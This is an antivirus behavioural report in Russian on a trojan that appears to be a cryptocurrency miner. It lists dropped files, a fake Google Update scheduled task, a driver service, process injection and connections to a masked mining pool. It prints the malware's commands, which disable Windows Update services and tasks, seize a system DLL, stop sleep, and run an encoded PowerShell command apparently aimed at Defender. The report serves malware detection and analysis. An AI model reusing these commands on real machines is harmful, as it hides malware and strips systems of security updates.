Trojan.Siggen17.37476

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\googleupdatetaskmachineqc

Устанавливает следующие настройки сервисов

[<HKLM>\System\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%APPDATA%\Google\Libs\WR64.sys'

Создает следующие сервисы

'WinRing0_1_2_0' %APPDATA%\Google\Libs\WR64.sys

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует запуск следующих системных утилит:

Обновления системы (Windows Update)

Внедряет код в

следующие системные процессы:

%WINDIR%\explorer.exe

Изменения в файловой системе

Создает следующие файлы

%APPDATA%\chrome\updater.exe
%APPDATA%\google\telemetry\sihost64.exe
%APPDATA%\google\libs\wr64.sys

Сетевая активность

Подключается к

're##ry.co':443
'xm#####a1.nanopool.org':14433

TCP

Другие

're##ry.co':443
'xm#####a1.nanopool.org':14433

UDP

DNS ASK xm#####a1.nanopool.org
DNS ASK re##ry.co

Другое

Создает и запускает на исполнение

'%APPDATA%\chrome\updater.exe'
'%APPDATA%\google\telemetry\sihost64.exe'
'<SYSTEM32>\cmd.exe' cmd /c powershell -EncodedCommand "PAAjAGwAbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAbAB6AHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAF...' (со скрытым окном)
'<SYSTEM32>\cmd.exe' cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits s...' (со скрытым окном)
'<SYSTEM32>\cmd.exe' cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0' (со скрытым окном)
'<SYSTEM32>\cmd.exe' cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "%APPDATA%\Chrome\updater.exe"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' cmd /c "%APPDATA%\Chrome\updater.exe"' (со скрытым окном)
'%APPDATA%\google\telemetry\sihost64.exe' ' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\cmd.exe' cmd /c powershell -EncodedCommand "PAAjAGwAbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAbAB6AHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAF...
'<SYSTEM32>\cmd.exe' cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "%APPDATA%\Chrome\updater.exe"
'<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "%APPDATA%\Chrome\updater.exe"
'<SYSTEM32>\reg.exe' add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
'<SYSTEM32>\reg.exe' add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
'<SYSTEM32>\takeown.exe' /f C:\\Windows\\System32\\WaaSMedicSvc.dll
'<SYSTEM32>\icacls.exe' C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
'<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE
'<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE
'<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE
'<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE
'<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE
'<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
'<SYSTEM32>\reg.exe' add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
'<SYSTEM32>\schtasks.exe' /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE
'<SYSTEM32>\sc.exe' failure UsoSvc reset= 0 actions= ""
'<SYSTEM32>\sc.exe' config UsoSvc start= disabled
'<SYSTEM32>\sc.exe' failure dosvc reset= 0 actions= ""
'<SYSTEM32>\cmd.exe' cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits s...
'<SYSTEM32>\cmd.exe' cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
'<SYSTEM32>\sc.exe' stop wuauserv
'<SYSTEM32>\sc.exe' stop bits
'<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
'<SYSTEM32>\sc.exe' stop dosvc
'<SYSTEM32>\sc.exe' stop UsoSvc
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAGwAbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGYAbAB6AHUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUA...
'<SYSTEM32>\sc.exe' stop WaaSMedicSvc
'<SYSTEM32>\sc.exe' config wuauserv start= disabled
'<SYSTEM32>\sc.exe' failure wuauserv reset= 0 actions= ""
'<SYSTEM32>\sc.exe' config bits start= disabled
'<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
'<SYSTEM32>\sc.exe' failure bits reset= 0 actions= ""
'<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
'<SYSTEM32>\sc.exe' config dosvc start= disabled
'<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
'<SYSTEM32>\cmd.exe' cmd /c "%APPDATA%\Chrome\updater.exe"
'%WINDIR%\explorer.exe' wytegkuulcxr0 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJS5a+kDe4w1mLzYsRI/LuCd6FAArVGer+fGI7AGs5V/iwMisNojNhCT2eye8pCQcopPYB4SsaFrHH0sTRwwm+0Xk9p0KffpINYxqKkEMK2kSXi9dLBg4v49KKuR/YeDyz8bVm2m+3i...